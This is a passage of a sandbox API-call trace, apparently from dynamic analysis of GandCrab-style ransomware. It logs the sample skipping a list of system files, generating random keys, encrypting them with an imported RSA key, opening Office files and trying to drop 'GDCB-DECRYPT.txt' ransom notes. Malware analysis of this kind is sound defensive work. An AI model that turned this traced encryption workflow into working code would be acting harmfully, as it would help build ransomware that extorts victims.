data\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml")) returned 0xffffffff [0171.751] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.751] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.751] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.751] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.752] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.752] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.752] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.755] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617528) returned 1 [0171.755] CryptGetKeyParam (in: hKey=0x617528, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.755] CryptEncrypt (in: hKey=0x617528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2db0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2db0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.755] GetLastError () returned 0x0 [0171.755] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.755] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.757] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617668) returned 1 [0171.757] CryptGetKeyParam (in: hKey=0x617668, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.757] CryptEncrypt (in: hKey=0x617668, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2dc0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2dc0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.757] GetLastError () returned 0x0 [0171.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.757] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml") returned 264 [0171.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml") returned 264 [0171.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml") returned 264 [0171.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml") returned 264 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.757] lstrcmpiW (lpString1="setup.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.757] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup.exe_rules.xml")) returned 0xffffffff [0171.757] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.757] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.758] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.758] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.758] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.758] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.759] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.759] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.759] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.759] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.761] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617728) returned 1 [0171.761] CryptGetKeyParam (in: hKey=0x617728, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.761] CryptEncrypt (in: hKey=0x617728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2dd0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2dd0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.762] GetLastError () returned 0x0 [0171.762] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.762] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.764] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6174e8) returned 1 [0171.764] CryptGetKeyParam (in: hKey=0x6174e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.764] CryptEncrypt (in: hKey=0x6174e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2de0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2de0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.764] GetLastError () returned 0x0 [0171.764] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.764] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.764] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml") returned 266 [0171.764] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml") returned 266 [0171.764] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml") returned 266 [0171.764] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml") returned 266 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.764] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.765] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.765] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.765] lstrcmpiW (lpString1="setup64.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.765] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup64.exe_rules.xml")) returned 0xffffffff [0171.765] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.765] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.765] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.765] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.766] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.766] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.766] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.766] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.768] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617868) returned 1 [0171.768] CryptGetKeyParam (in: hKey=0x617868, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.768] CryptEncrypt (in: hKey=0x617868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2df0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2df0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.768] GetLastError () returned 0x0 [0171.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.768] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.770] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6178a8) returned 1 [0171.771] CryptGetKeyParam (in: hKey=0x6178a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.771] CryptEncrypt (in: hKey=0x6178a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e00000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2e00000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.771] GetLastError () returned 0x0 [0171.771] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.771] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.771] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml") returned 264 [0171.771] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml") returned 264 [0171.771] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml") returned 264 [0171.771] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml") returned 264 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="thumbs.db") returned 1 [0171.771] lstrcmpiW (lpString1="visio.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.771] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\visio.exe_rules.xml")) returned 0xffffffff [0171.771] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.772] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.773] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.773] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.773] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.774] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.774] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.774] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.776] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617568) returned 1 [0171.776] CryptGetKeyParam (in: hKey=0x617568, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.776] CryptEncrypt (in: hKey=0x617568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e10000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2e10000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.776] GetLastError () returned 0x0 [0171.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.776] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.778] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6178e8) returned 1 [0171.778] CryptGetKeyParam (in: hKey=0x6178e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.778] CryptEncrypt (in: hKey=0x6178e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e20000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2e20000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.778] GetLastError () returned 0x0 [0171.778] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.778] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\WebServiceCache\\\\GDCB-DECRYPT.txt") returned 278 [0171.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\WebServiceCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\webservicecache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.778] GetLastError () returned 0x3 [0171.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.779] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.779] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.779] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.779] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\Wef\\\\GDCB-DECRYPT.txt") returned 266 [0171.779] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\Wef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\wef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.779] GetLastError () returned 0x3 [0171.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.780] 